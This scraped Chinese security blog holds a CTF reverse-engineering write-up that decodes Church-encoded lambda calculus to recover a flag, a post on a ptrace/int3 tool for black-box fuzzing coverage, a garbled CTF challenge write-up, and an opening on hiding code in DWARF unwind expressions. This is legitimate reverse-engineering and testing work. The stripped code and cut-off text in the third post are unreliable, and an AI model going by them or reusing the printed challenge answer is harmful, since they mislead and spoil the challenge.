</span>        </span>self</span>.c</span>=</span>c
</span>    </span>def </span>to_str</span>(</span>self</span>):
</span>        </span>return </span>self</span>.c
</span>
</span>class </span>Call</span>(</span>Exp</span>):
</span>    rator: Exp
</span>    rand: Exp
</span>    </span>def </span>__init__</span>(</span>self</span>, </span>rator</span>, </span>rand</span>):
</span>        </span>self</span>.rator</span>=</span>rator
</span>        </span>self</span>.rand</span>=</span>rand
</span>    </span>def </span>to_str</span>(</span>self</span>):
</span>        </span>return </span>'(' </span>+ </span>self</span>.rator.to_str() </span>+ </span>' ' </span>+ </span>self</span>.rand.to_str() </span>+ </span>')'
</span>
</span>class </span>Lambda</span>(</span>Exp</span>):
</span>    arg: </span>str
</span>    body: Exp
</span>    </span>def </span>__init__</span>(</span>self</span>, </span>c</span>, </span>body</span>):
</span>        </span>self</span>.arg</span>=</span>c
</span>        </span>self</span>.body</span>=</span>body
</span>    </span>def </span>to_str</span>(</span>self</span>):
</span>        </span>return </span>'( </span>\\</span>' </span>+ </span>self</span>.arg </span>+ </span>'. ' </span>+ </span>self</span>.body.to_str() </span>+ </span>')'
</span>
</span>input_list</span>=</span>[ 
</span>    </span>0x000000000040b9a8</span>, </span>0x000000000040b978</span>, </span>0x000000000040b948</span>,
</span>    </span>0x0000000000427938</span>, </span>0x0000000000427908</span>, </span>0x00000000004278d8</span>,
</span>    </span>0x0000000000445de8</span>, </span>0x0000000000445db8</span>, </span>0x0000000000445d88</span>,
</span>    </span>0x00000000004615f8</span>, </span>0x00000000004615c8</span>, </span>0x0000000000461598</span>,
</span>    </span>0x000000000047cad0</span>, </span>0x000000000047caa0</span>, </span>0x000000000047ca70</span>,
</span>    </span>0x00000000004a5ca8</span>, </span>0x00000000004a5c78</span>, </span>0x00000000004a5c48</span>,
</span>    </span>0x00000000004c3448</span>, </span>0x00000000004c3418</span>, </span>0x00000000004c33e8</span>,
</span>    </span>0x00000000004e9260</span>, </span>0x00000000004e9230</span>, </span>0x00000000004e9200</span>,
</span>    </span>0x0000000000505eb0</span>, </span>0x0000000000505e80</span>, </span>0x0000000000505e50</span>,
</span>    </span>0x000000000051f438</span>, </span>0x000000000051f408</span>, </span>0x000000000051f3d8</span>,
</span>    </span>0x0000000000536518</span>, </span>0x00000000005364e8</span>, </span>0x00000000005364b8</span>]
</span>
</span>def </span>get_exp</span>(</span>addr</span>) -> Exp:
</span>    starti</span>=</span>get_index(addr)
</span>    match dump.code[starti]:
</span>        case </span>0</span>:
</span>            </span>return </span>Symbol(</span>'var_</span>%03d</span>' </span>% </span>dump.code[starti</span>+</span>1</span>])
</span>        case </span>1</span>:
</span>            </span>return </span>Lambda(</span>'var_</span>%03d</span>'</span>%</span>dump.code[starti</span>+</span>1</span>], get_exp(dump.code[starti</span>+</span>2</span>]))
</span>        case </span>2</span>:
</span>            </span>if </span>addr </span>in </span>input_list:
</span>                </span>return </span>Call(get_exp(dump.code[starti</span>+</span>1</span>]),Symbol(</span>'input'</span>+</span>str</span>(input_list.index(addr))))
</span>
</span>            </span>return </span>Call(get_exp(dump.code[starti</span>+</span>1</span>]),get_exp(dump.code[starti</span>+</span>2</span>]))
</span>
</span>
</span>start_points</span>=</span>[
</span>    </span>0x0000000000420030</span>, </span>0x000000000043e528</span>, </span>0x0000000000459db0</span>,
</span>    </span>0x0000000000475158</span>, </span>0x000000000049e448</span>, </span>0x00000000004bba58</span>,
</span>    </span>0x00000000004e1928</span>, </span>0x00000000004fe5a8</span>, </span>0x0000000000517b38</span>,
</span>    </span>0x000000000052eb58</span>, </span>0x0000000000558400</span>]
</span>for </span>start_point </span>in </span>start_points:
</span>    root</span>=</span>get_exp(start_point)
</span>    </span>print</span>(root.to_str())
</span></code></pre>
得到11段非常相似的表达式，大致如下</p>
((( \var_188. ( \var_027. ((( \var_182. ( \var_219. ((var_182 var_219) var_182))) (( \var_139. ((var_139 ( \var_106. ( \var_029. ( \var_066. var_066)))) ( \var_025. ( \var_128. var_025)))) ((( \var_227. ( ...
</span>((( \var_176. ( \var_170. ((( \var_103. ( \var_112. ((var_103 var_112) var_103))) (( \var_223. ((var_223 ( \var_183. ( \var_246. ( \var_057. var_057)))) ( \var_054. ( \var_044. var_054)))) ((( \var_228. ( ...
</span>((( \var_201. ( \var_071. ((( \var_077. ( \var_234. ((var_077 var_234) var_077))) (( \var_034. ((var_034 ( \var_251. ( \var_093. ( \var_043. var_043)))) ( \var_024. ( \var_031. var_024)))) ((( \var_118. ( ...
</span>((( \var_061. ( \var_230. ((( \var_144. ( \var_226. ((var_144 var_226) var_144))) (( \var_153. ((var_153 ( \var_127. ( \var_246. ( \var_169. var_169)))) ( \var_105. ( \var_197. var_105)))) ((( \var_002. ( ...
</span>((( \var_211. ( \var_143. ((( \var_035. ( \var_115. ((var_035 var_115) var_035))) (( \var_252. ((var_252 ( \var_233. ( \var_041. ( \var_047. var_047)))) ( \var_020. ( \var_214. var_020)))) ((( \var_102. ( ...
</span>((( \var_120. ( \var_051. ((( \var_229. ( \var_195. ((var_229 var_195) var_229))) (( \var_187. ((var_187 ( \var_099. ( \var_031. ( \var_223. var_223)))) ( \var_079. ( \var_050. var_079)))) ((( \var_104. ( ...
</span>((( \var_049. ( \var_081. ((( \var_153. ( \var_015. ((var_153 var_015) var_153))) (( \var_198. ((var_198 ( \var_072. ( \var_163. ( \var_049. var_049)))) ( \var_133. ( \var_206. var_133)))) ((( \var_084. ( ...
</span>((( \var_094. ( \var_214. ((( \var_146. ( \var_181. ((var_146 var_181) var_146))) (( \var_096. ((var_096 ( \var_080. ( \var_073. ( \var_144. var_144)))) ( \var_042. ( \var_200. var_042)))) ((( \var_190. ( ...
</span>((( \var_162. ( \var_017. ((( \var_254. ( \var_074. ((var_254 var_074) var_254))) (( \var_161. ((var_161 ( \var_185. ( \var_124. ( \var_074. var_074)))) ( \var_034. ( \var_027. var_034)))) ((( \var_163. ( ...
</span>((( \var_021. ( \var_046. ((( \var_033. ( \var_125. ((var_033 var_125) var_033))) (( \var_213. ((var_213 ( \var_220. ( \var_045. ( \var_251. var_251)))) ( \var_057. ( \var_242. var_057)))) ((( \var_005. ( ...
</span>((( \var_142. ( \var_000. ((( \var_156. ( \var_255. ((var_156 var_255) var_156))) (( \var_027. ((var_027 ( \var_147. ( \var_248. ( \var_008. var_008)))) ( \var_246. ( \var_108. var_246)))) ((( \var_205. ( ...
</span></code></pre>
每一段表达式都很长，发现有大量形如 $\lambda f. \lambda x. f^{\circ n} x$的表达式，用python正则可以做一个简单的匹配</p>
def </span>num_replace</span>(</span>match</span>:re.Match[</span>str</span>]) -> </span>str</span>:
</span>    numl</span>=</span>match[</span>0</span>].count(</span>'('</span>)
</span>    numr</span>=</span>match[</span>0</span>].count(</span>')'</span>)
</span>    </span>return </span>f</span>'num_</span>{numl</span>-</span>2</span>}</span>'</span>+</span>')'</span>*</span>(numr</span>-</span>numl)
</span>
</span>input_text</span>=</span>re.subn(</span>r</span>'</span>\( \\(?P<p1>var_</span>[0-9]</span>+</span>)\. \( \\(?P<p2>var_</span>[0-9]</span>+</span>)\.( \(</span>(?P=p1)</span>)</span>+ (?P=p2)</span>\)</span>*</span>'</span>, num_replace, input_text)[</span>0</span>]
</span></code></pre>
接着继续手动分析，主要是识别出来代码中出现的组合子，详见维基百科Church encoding</a>和Lambda calculus</a>，将他们替换，如下
$$
\begin{eqnarray}
true &=& \lambda a. \lambda b. a \\
false &=& \lambda a. \lambda b. b \\
zero &=& \lambda f. \lambda x. x \\
PAIR &=& \lambda x. \lambda y. \lambda z. z\ x\ y \\
if &=& \lambda x. \lambda y. \lambda z. x\ y\ z \\
is\_zero &=& \lambda n. n\ (\lambda x. false)\ true \\
first &=& \lambda n. n\ true \\
second &=& \lambda n. n\ false \\
Y &=& λg.(λx.g\ (x\ x))\ (λx.g\ (x\ x)) \\
succ &=& \lambda a. \lambda f. \lambda x. f\ (a\ f \ x) \\
mul &=& \lambda n. \lambda m. \lambda f. \lambda x. m\ (n\ f)\ x \\
plus &=& \lambda n. \lambda m. \lambda f. \lambda x. m\ f\ (n\ f\ x) \\
sub &=& \lambda n. first\ (n\ (\lambda p. PAIR\ (second\ p)\ (succ\ (second\ p)))\ (PAIR\ zero\ zero)) \\
and &=& \lambda a. \lambda b. a\ b\ a \\
equal &=& \lambda a. \lambda b. and\ (is\_zero (sub\ a\ b)\ (is\_zero (sub\ b\ a)) \\
nil &=& \lambda x. true \\
is\_nil &=& \lambda a. a\ (\lambda b. \lambda c. false)
\end{eqnarray}
$$
其中false</code>和zero</code>是一样的，所以就不做区分了，替换代码如下</p>
import </span>re
</span>with </span>open</span>(</span>'lambda.txt'</span>, </span>'r'</span>) </span>as </span>f:
</span>    input_text</span>=</span>f.read()
</span>
</span>def </span>num_replace</span>(</span>match</span>:re.Match[</span>str</span>]) -> </span>str</span>:
</span>    numl</span>=</span>match[</span>0</span>].count(</span>'('</span>)
</span>    numr</span>=</span>match[</span>0</span>].count(</span>')'</span>)
</span>    </span>return </span>f</span>'num_</span>{numl</span>-</span>2</span>}</span>'</span>+</span>')'</span>*</span>(numr</span>-</span>numl)
</span>
</span>input_text</span>=</span>re.subn(</span>r</span>'</span>\( \\(?P<p1>var_</span>[0-9]</span>+</span>)\. \( \\(?P<p2>var_</span>[0-9]</span>+</span>)\.( \(</span>(?P=p1)</span>)</span>+ (?P=p2)</span>\)</span>*</span>'</span>, num_replace, input_text)[</span>0</span>]
</span>input_text</span>=</span>re.subn(</span>r</span>'</span>\( \\(?P<p1>var_</span>[0-9]</span>+</span>)\. \( \\(?P<p2>var_</span>[0-9]</span>+</span>)\. </span>(?P=p1)</span>\)\)</span>'</span>,</span>'true'</span>, input_text)[</span>0</span>]
</span>input_text</span>=</span>re.subn(</span>r</span>'</span>\( \\(?P<p1>var_</span>[0-9]</span>+</span>)\. \( \\(?P<p2>var_</span>[0-9]</span>+</span>)\. </span>(?P=p2)</span>\)\)</span>'</span>,</span>'false'</span>, input_text)[</span>0</span>]
</span>input_text</span>=</span>re.subn(</span>r</span>'</span>\( \\(</span>?</span>P<P1>var_</span>[0-9]</span>+</span>)\. \( \\(</span>?</span>P<P2>var_</span>[0-9]</span>+</span>)\. \( \\(</span>?</span>P<P3>var_</span>[0-9]</span>+</span>)\. \(\(</span>(?P=P3) (?P=P1)</span>\) </span>(?P=P2)</span>\)\)\)\)</span>'</span>,</span>'PAIR'</span>, input_text)[</span>0</span>]
</span>input_text</span>=</span>re.subn(</span>r</span>'</span>\( \\(</span>?</span>P<P1>var_</span>[0-9]</span>+</span>)\. \( \\(</span>?</span>P<P2>var_</span>[0-9]</span>+</span>)\. \( \\(</span>?</span>P<P3>var_</span>[0-9]</span>+</span>)\. \(\(</span>(?P=P1) (?P=P2)</span>\) </span>(?P=P3)</span>\)\)\)\)</span>'</span>,</span>'if'</span>, input_text)[</span>0</span>]
</span>input_text</span>=</span>re.subn(</span>r</span>'</span>\( \\(</span>?</span>P<P1>var_</span>[0-9]</span>+</span>)\. \(\(</span>(?P=P1) </span>\( \\(</span>?</span>P<P2>var_</span>[0-9]</span>+</span>)\. false\)\) true\)\)</span>'</span>,</span>'is_zero'</span>, input_text)[</span>0</span>]
</span>input_text</span>=</span>re.subn(</span>r</span>'</span>\( \\(?P<p1>var_</span>[0-9]</span>+</span>)\. \(</span>(?P=p1)</span> true\)\)</span>'</span>,</span>'first'</span>, input_text)[</span>0</span>]
</span>input_text</span>=</span>re.subn(</span>r</span>'</span>\( \\(?P<p1>var_</span>[0-9]</span>+</span>)\. \(</span>(?P=p1)</span> false\)\)</span>'</span>,</span>'second'</span>, input_text)[</span>0</span>]
</span>input_text</span>=</span>re.subn(</span>r</span>'</span>\( \\(?P<p1>var_</span>[0-9]</span>+</span>)\. \(\( \\(?P<p2>var_</span>[0-9]</span>+</span>)\. \(</span>(?P=p1) </span>\(</span>(?P=p2) (?P=p2)</span>\)\)\) \( \\(?P<p3>var_</span>[0-9]</span>+</span>)\. \(</span>(?P=p1) </span>\(</span>(?P=p3) (?P=p3)</span>\)\)\)\)\)</span>'</span>,</span>'Y'</span>, input_text)[</span>0</span>]
</span>input_text</span>=</span>re.subn(</span>r</span>'</span>\( \\(</span>?</span>P<P1>var_</span>[0-9]</span>+</span>)\. \( \\(</span>?</span>P<P2>var_</span>[0-9]</span>+</span>)\. \( \\(</span>?</span>P<P3>var_</span>[0-9]</span>+</span>)\. \(</span>(?P=P2) </span>\(\(</span>(?P=P1) (?P=P2)</span>\) </span>(?P=P3)</span>\)\)\)\)\)</span>'</span>,</span>'succ'</span>, input_text)[</span>0</span>]
</span>input_text</span>=</span>re.subn(</span>r</span>'</span>\( \\(?P<p1>var_</span>[0-9]</span>+</span>)\. \( \\(?P<p2>var_</span>[0-9]</span>+</span>)\. \( \\(?P<p3>var_</span>[0-9]</span>+</span>)\. \( \\(?P<p4>var_</span>[0-9]</span>+</span>)\. \(\(</span>(?P=p1) </span>\(</span>(?P=p2) (?P=p3)</span>\)\) </span>(?P=p4)</span>\)\)\)\)\)</span>'</span>,</span>'mul'</span>, input_text)[</span>0</span>]
</span>input_text</span>=</span>re.subn(</span>r</span>'</span>\( \\(</span>?</span>P<P1>var_</span>[0-9]</span>+</span>)\. \( \\(</span>?</span>P<P2>var_</span>[0-9]</span>+</span>)\. \( \\(</span>?</span>P<P3>var_</span>[0-9]</span>+</span>)\. \( \\(</span>?</span>P<P4>var_</span>[0-9]</span>+</span>)\. \(\(</span>(?P=P1) (?P=P3)</span>\) \(\(</span>(?P=P2) (?P=P3)</span>\) </span>(?P=P4)</span>\)\)\)\)\)\)</span>'</span>,</span>'plus'</span>, input_text)[</span>0</span>]
</span>input_text</span>=</span>re.subn(</span>r</span>'</span>\( \\(?P<p1>var_</span>[0-9]</span>+</span>)\. \( \\(?P<p2>var_</span>[0-9]</span>+</span>)\. \(\(</span>(?P=p2) </span>\( \\(?P<p3>var_</span>[0-9]</span>+</span>)\. \(first \(\(</span>(?P=p3) </span>\( \\(?P<p4>var_</span>[0-9]</span>+</span>)\. \(\(PAIR \(second </span>(?P=p4)</span>\)\) \(succ \(second </span>(?P=p4)</span>\)\)\)\)\) \(\(PAIR false\) false\)\)\)\)\) </span>(?P=p1)</span>\)\)\)</span>'</span>,</span>'sub'</span>, input_text)[</span>0</span>]
</span>input_text</span>=</span>re.subn(</span>r</span>'</span>\( \\(</span>?</span>P<P1>var_</span>[0-9]</span>+</span>)\. \( \\(</span>?</span>P<P2>var_</span>[0-9]</span>+</span>)\. \(\(</span>(?P=P1) (?P=P2)</span>\) </span>(?P=P1)</span>\)\)\)</span>'</span>,</span>'and'</span>, input_text)[</span>0</span>]
</span>input_text</span>=</span>re.subn(</span>r</span>'</span>\( \\(</span>?</span>P<P1>var_</span>[0-9]</span>+</span>)\. \( \\(</span>?</span>P<P2>var_</span>[0-9]</span>+</span>)\. \(\(and \(is_zero \(\(sub </span>(?P=P1)</span>\) </span>(?P=P2)</span>\)\)\) \(is_zero \(\(sub </span>(?P=P2)</span>\) </span>(?P=P1)</span>\)\)\)\)\)</span>'</span>,</span>'equal'</span>, input_text)[</span>0</span>]
</span>input_text</span>=</span>re.subn(</span>r</span>'</span>\( \\(var_</span>[0-9]</span>+</span>)</span>.</span> true\)</span>'</span>,</span>'nil'</span>, input_text)[</span>0</span>]
</span>input_text</span>=</span>re.subn(</span>r</span>'</span>\( \\(</span>?</span>P<P1>var_</span>[0-9]</span>+</span>)\. \(</span>(?P=P1) </span>\( \\(</span>?</span>P<P2>var_</span>[0-9]</span>+</span>)\. \( \\(</span>?</span>P<P3>var_</span>[0-9]</span>+</span>)\. false\)\)\)\)</span>'</span>,</span>'is_nil'</span>, input_text)[</span>0</span>]
</span>
</span>print</span>(input_text)
</span></code></pre>
替换过后就简洁很多了，再经过整理、重命名，得到如下代码</p>
(
</span>    </span>equal </span>num_3
</span>    (
</span>        (
</span>            (</span>Y</span> \list_equal_count. \list1. \list2. (
</span>                ((</span>if </span>(</span>is_nil</span> list1)) </span>num_0</span>)
</span>                (</span>plus
</span>                    (</span>if </span>(</span>equal </span>(</span>first</span> list1) (</span>first</span> list2)) </span>num_1 num_0</span>)
</span>                    (list_equal_count (</span>second</span> list1) (</span>second</span> list2))
</span>                )
</span>            ))
</span>            (
</span>                </span>Y </span>(\op. \matrix_line. \input_list. 
</span>                    (</span>if </span>(</span>is_nil</span> matrix_line) </span>nil</span>)
</span>                    (</span>PAIR 
</span>                        (
</span>                            (</span>Y</span> \op2. \matrix_item. \input_item. \i. (
</span>                                </span>if </span>(</span>is_nil</span> matrix_item) </span>num_7
</span>                                (</span>plus
</span>                                    (</span>mul 
</span>                                        (</span>plus </span>(</span>first</span> matrix_item) (</span>sub </span>(</span>mul </span>num_2</span> i) </span>num_5</span>))
</span>                                        (</span>sub </span>(</span>first</span> input_item) ((</span>plus </span>num_13</span>) (</span>sub </span>num_11 </span>(</span>mul </span>num_3</span> i))))
</span>                                    )
</span>                                    (op2 (</span>second</span> matrix_item) (</span>second</span> input_item) (</span>succ</span> i))
</span>                                ))
</span>                            ) (</span>first</span> matrix_line) input_list </span>num_2
</span>                        )
</span>                        (op (</span>second</span> matrix_line) input_list)
</span>                    )
</span>                )
</span>
</span>                (</span>PAIR </span>(</span>PAIR </span>num_4 </span>(</span>PAIR </span>num_6 </span>(</span>PAIR </span>num_5 nil</span>)))
</span>                (</span>PAIR </span>(</span>PAIR </span>num_4 </span>(</span>PAIR </span>num_3 </span>(</span>PAIR </span>num_6 nil</span>))))
</span>                (</span>PAIR </span>(</span>PAIR </span>num_7 </span>(</span>PAIR </span>num_4 </span>(</span>PAIR </span>num_7 nil</span>))))
</span>                </span>nil</span>)
</span>                ((</span>PAIR </span>input_30</span>) ((</span>PAIR </span>input_31</span>) ((</span>PAIR </span>input_32</span>) </span>nil</span>)))
</span>            )
</span>        )
</span>        (</span>PAIR </span>num_1848 </span>(</span>PAIR </span>num_1711 </span>(</span>PAIR </span>num_2179 nil</span>)))
</span>    )
</span>)
</span></code></pre>
这段代码就可以直接写解密脚本了，要注意lambda里面的减法是不会有负数的</p>
import </span>numpy </span>as </span>np
</span>import </span>re
</span>count</span>=</span>[]
</span>def </span>num_replace</span>(</span>match</span>:re.Match[</span>str</span>]) -> </span>str</span>:
</span>    </span>global </span>count
</span>    numl</span>=</span>match[</span>0</span>].count(</span>'('</span>)
</span>    </span>return </span>numl</span>-</span>2
</span>with </span>open</span>(</span>'lambda.txt'</span>, </span>'r'</span>) </span>as </span>f:
</span>    </span>for </span>line </span>in </span>f.readlines():
</span>        count</span>=</span>list</span>(</span>map</span>(num_replace, re.finditer(</span>r</span>'</span>\( \\(?P<p1>var_</span>[0-9]</span>+</span>)\. \( \\(?P<p2>var_</span>[0-9]</span>+</span>)\.( \(</span>(?P=p1)</span>)</span>+ (?P=p2)</span>\)</span>*</span>'</span>, line)))[</span>-</span>12</span>:]
</span>        a</span>= </span>np.array([[count[</span>0</span>],count[</span>1</span>]</span>+</span>1</span>,count[</span>2</span>]</span>+</span>3</span>], [count[</span>3</span>],count[</span>4</span>]</span>+</span>1</span>,count[</span>5</span>]</span>+</span>3</span>],[count[</span>6</span>],count[</span>7</span>]</span>+</span>1</span>,count[</span>8</span>]</span>+</span>3</span>]])
</span>        A </span>= </span>np.matrix(a).I
</span>        y</span>= </span>np.array([count[</span>9</span>]</span>-</span>7</span>,count[</span>10</span>]</span>-</span>7</span>,count[</span>11</span>]</span>-</span>7</span>])
</span>        y </span>= </span>np.matrix(y).T
</span>        ans</span>=</span>A</span>*</span>y
</span>        </span>print</span>(</span>chr</span>(</span>round</span>(</span>float</span>(ans[</span>0</span>]))</span>+</span>24</span>-</span>6</span>),</span>end</span>=</span>''</span>)
</span>        </span>print</span>(</span>chr</span>(</span>round</span>(</span>float</span>(ans[</span>1</span>]))</span>+</span>24</span>-</span>9</span>),</span>end</span>=</span>''</span>)
</span>        </span>print</span>(</span>chr</span>(</span>round</span>(</span>float</span>(ans[</span>2</span>]))</span>+</span>24</span>-</span>11</span>),</span>end</span>=</span>''</span>)
</span>print</span>()
</span></code></pre>
得到XCTF{M4tRI1|i||l|Il|I1X_A5_YC0mb}</code></p>


Fuzz-01-linux黑盒测试覆盖率
2023-03-24T00:00:00+00:00
在白盒测试中往往会用覆盖率作为fuzz的指标，来评判输入是否有价值。但黑盒测试中有时我们也想要获得覆盖率以更加精准的fuzz。可以采用二进制逆向工具，在程序的每个基本块头部插入软中断(int3</code>)指令，运行时通过ptrace捕获SIGTRAP信号来统计代码覆盖率，再将原始的字节恢复并继续执行。</p>
项目地址：ri-char/trace_tool</a></p>
实现</h2>
Patch程序</h3>
在程序的基本块中插入int3</code>指令，如一个程序原本的控制流如下</p>
</p>
图中共有8个基本块，需要将每个基本块的首字节改成int3</code>，由于IDA Python难以批量处理大量文件，因此选用了radare2</code>工具。它可以通过命令行交互，也提供了多种语言的接口可以很方便的使用代码交互。</p>
radare2</code>加载文件后，先通过aa</code>命令让它自动分析所有的函数以及函数中的基本块。afl</code>命令可以列出所有分析得到的函数，aflj</code>可以指定以json格式输出，便于代码处理。agf</code>命令可以可视化的展现函数的基本块，如上图所示，同样agfj</code>也可以将基本块信息以json格式输出，如下图。</p>
</p>
找到所有的基本块后，首先需要将每个基本块的原始内容记录下来，以便运行时动态恢复。可以使用pB 1</code>命令输出一字节的内容；使用wx cc</code>将当前字节修改为0xcc</code>（为int3</code>指令的机器码）。当需要修改文件时，radare2</code>需要以读写方式启动，加上-w</code>参数。</p>
</p>
以上演示了手动patch的过程，代码则是将以上过程自动化，完整代码参考ri-char /trace_tool/src/patch.rs</a>。</p>
统计覆盖率</h3>
首先需要通过ptrace</code>调试上目标进程，可以在子进程上调用PTRACE_TRACEME</code>来主动让父进程调试自己，无需root权限，代码如下</p>
match unsafe </span>{ </span>fork</span>() }</span>? </span>{
</span>    ForkResult::Parent { child } </span>=> </span>{
</span>        </span>let</span> exit_code</span>=</span>debug</span>(child, </span>&</span>initial_byte_map, args.output)</span>?</span>;
</span>        </span>exit</span>(exit_code);
</span>    },
</span>    ForkResult::Child </span>=> </span>{
</span>        ptrace::traceme()</span>?</span>;
</span>        </span>execv</span>(cstr_args[</span>0</span>].</span>as_c_str</span>(), cstr_args.</span>as_slice</span>())</span>?</span>;
</span>        </span>Ok</span>(())
</span>    }
</span>}
</span></code></pre>
由于大多数程序都是多线程或者多进程的，所以需要调用PTRACE_SETOPTIONS</code>来设置需要跟踪clone</code>、fork</code>、vfork</code>和exec</code></p>
ptrace::setoptions(
</span>    child,
</span>    ptrace::Options::</span>PTRACE_O_TRACECLONE
</span>        </span>| </span>ptrace::Options::</span>PTRACE_O_TRACEEXEC
</span>        </span>| </span>ptrace::Options::</span>PTRACE_O_TRACEFORK
</span>        </span>| </span>ptrace::Options::</span>PTRACE_O_TRACEVFORK</span>,
</span>)</span>?</span>;
</span></code></pre>
在调试的过程中，需要一个主循环来处理被调试进程的所有事件并进行处理。其中最重要的事件就是接收到了SIGTRAP信号</p>
let </span>mut</span> reg </span>= </span>ptrace::getregs(pid)</span>?</span>;
</span>// 此处获得的rip是int3后一条指令的地址，因此需要减1获得int3的地址
</span>reg.rip </span>-= </span>1</span>;
</span>if </span>let Some</span>((module, offset)) </span>= </span>get_module_and_offset</span>(pid, reg.rip)</span>? </span>{
</span>    </span>if </span>let Some</span>(initial_byte) </span>= </span>get_initial_byte</span>(</span>&</span>module, offset, initial_byte_map) {
</span>        </span>let</span> aligned_ip </span>=</span> reg.rip </span>& !</span>7</span>u64</span>;
</span>        </span>// 获取该地址中原始内容
</span>        </span>let </span>mut</span> code_bytes: [</span>u8</span>; </span>8</span>] </span>=
</span>            ptrace::read(pid, aligned_ip </span>as</span> AddressType)</span>?</span>.</span>to_ne_bytes</span>();
</span>        </span>// 将0xcc修改成程序原始的值
</span>        code_bytes[(reg.rip </span>-</span> aligned_ip) </span>as </span>usize</span>] </span>=</span> initial_byte;
</span>        </span>let</span> new_bytes </span>= </span>u64</span>::from_ne_bytes(code_bytes);
</span>        </span>// 写入
</span>        </span>unsafe </span>{
</span>            ptrace::write(
</span>                pid,
</span>                aligned_ip </span>as</span> AddressType,
</span>                new_bytes </span>as *mut </span>std::ffi::</span>c_void</span>,
</span>            )
</span>        }</span>?</span>;
</span>        </span>// 将被调试程序rip-1
</span>        ptrace::setregs(pid, reg)</span>?</span>;
</span>        </span>// 记录
</span>        </span>if </span>let Some</span>(trigger_set) </span>=</span> record_map.</span>get_mut</span>(</span>&</span>module) {
</span>            trigger_set.</span>insert</span>(offset);
</span>        } </span>else </span>{
</span>            </span>let </span>mut</span> trigger_set </span>= </span>HashSet::new();
</span>            trigger_set.</span>insert</span>(offset);
</span>            record_map.</span>insert</span>(module.</span>clone</span>(), trigger_set);
</span>        }
</span>    }
</span>}
</span>// 让被调试程序继续运行
</span>ptrace::cont(pid, </span>None</span>)</span>?</span>;
</span></code></pre>
完整代码参考ri-char /trace_tool/src/run.rs</a>。</p>
运行效果</h2>
对于上图中的程序进行测试</p>
</p>
局限性</h2>

待测试的二进制文件中不能有混淆</li>
待测试的程序中不能有进程被调试（进程主动被调试是一种主要的反调试手段）</li>
</ol>


ISC-Nothing出题思路及WriteUp
2022-07-15T00:00:00+00:00
出题思路</h1>
在看到工具选择</h2> 
首先碰到的 
 </span> </span> </span> </span> </span></code></pre> </code></pre> 来表示  </span> </span> </span>    } </span> </span> </span> </span> </span> </span> </span> </span>        } </span> </span> </span> </span> </span> </span>        } </span> </span> </span> </span> </span> </span>        } </span> </span> </span> </span> </span> </span> </span> </span> </span>        } </span> </span> </span> </span> </span> </span> </span> </span> </span>        } </span> </span> </span> </span>        } </span> </span> </span> </span> </span> </span>        } </span> </span> </span> </span> </span> </span> </span>        } </span> </span> </span> </span> </span> </span> </span> </span> </span> </span>        } </span> </span>    } </span> </span>} </span></code></pre> WriteUp</h1> 通过IDA反编 
</p> 参考分析器代码如下：</p> 
 </span> </span> </span> </span> </span> </span>    } </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span>            } </span> </span> </span> </span> </span> </span> </span> </span>                    } </span> </span> </span> </span> </span> </span> </span> </span> </span> </span>                    } </span> </span> </span>                    } </span> </span>                } </span>            } </span>        } </span>    } </span> </span> </span> </span> </span> </span> </span> </span> </span> </span>} </span> </span> </span> </span>} </span> </span> </span>        Val { id } </span>    } </span>} </span> </span> </span>} </span> </span> </span> </span>    } </span> </span> </span> </span>    } </span>} </span> </span> </span> </span>    } </span>} </span> </span> </span> </span>{ </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span>                } </span> </span> </span> </span> </span> </span>                } </span> </span> </span> </span> </span> </span>                } </span> </span> </span> </span> </span> </span> </span> </span>                } </span> </span> </span> </span> </span> </span> </span>                } </span> </span> </span> </span> </span> </span> </span>                } </span> </span> </span> </span>                } </span> </span> </span> </span>                } </span> </span> </span> </span> </span> </span> </span>                } </span> </span> </span> </span> </span> </span> </span>                } </span> </span> </span> </span>                } </span> </span> </span> </span> </span> </span> </span>                } </span> </span> </span> </span> </span> </span> </span>                } </span> </span> </span> </span> </span> </span> </span>                } </span> </span> </span> </span> </span> </span> </span>                } </span> </span> </span> </span> </span> </span> </span>                } </span> </span> </span> </span> </span> </span> </span>                } </span> </span> </span> </span> </span> </span> </span>                } </span> </span> </span> </span> </span> </span> </span>                } </span> </span> </span> </span> </span> </span> </span>                } </span> </span> </span> </span> </span> </span> </span>                } </span> </span> </span> </span> </span>                } </span> </span> </span> </span> </span>                } </span> </span> </span> </span> </span>                } </span> </span>            } </span> </span> </span>        } </span>    } </span> </span> </span> </span> </span>} </span></code></pre> 生成的c文件：</p> 
 </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span></code></pre> 通过gcc 
</p> 
观察这四段 
 center">0</td> </table> 根据逆向结 
</p> 
根据这些信 
 </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span>    } </span> </span> </span> </span>} </span></code></pre> 可以看出这是Feistel 
 </span> </span> </span> </span> </span> </span> </span> </span> </span> </span> </span>    } </span> </span> </span> </span> </span>} </span> </span> </span> </span> </span> </span>} </span></code></pre> 项目源码及wp源码 
参考资料</h1>    
  
  
  </ol>  
 VMP分析-去除无用指令
 2022-04-22T00:00:00+00:00

rel="noopener" target="_blank" href="https://bbs.pediy.com/thread-271891.htm">通过DWARF Expression将代码隐藏在栈展开过程中</a>这篇博客后，原本是想用DWRAF特性做一个VM的。但是DWRAF恢复状态时只能恢复寄存器，但是可以用的寄存器有比较少，因此用这仅有的几个寄存器做了半个虚拟机。</p> 第一个问题就是怎样写DWRAF Expression比较方便。在经过一份搜寻后，发现一个比较好用的rust库gimli</code>。但是他无法只生成DWRAF Expression，因此稍稍魔改了一下，添加了一个函数，这样方便得生成Expression了</p> style="background-color:#383838;color:#e6e1dc;" class="language-rust ">let </span>mut</span> exp</span>=</span>Expression::new(); exp.</span>op_reg</span>(gimli::</span>X86_64</span>::</span>R12</span>); style="color:#cc7833;">... exp.</span>op</span>(gimli::DW_OP_and); exp.</span>op</span>(gimli::DW_OP_gt); exp.</span>op</span>(gimli::DW_OP_swap); style="font-style:italic;color:#6e9cbe;">let</span> cf</span>=</span>CallFrameInstruction::ValExpression(gimli::</span>X86_64</span>::</span>R14</span>, exp); cf.</span>simple_write</span>(</span>&mut</span> w,gimli::Encoding { address_size: </span>8</span>, format: gimli::Format::Dwarf64, version: </span>5 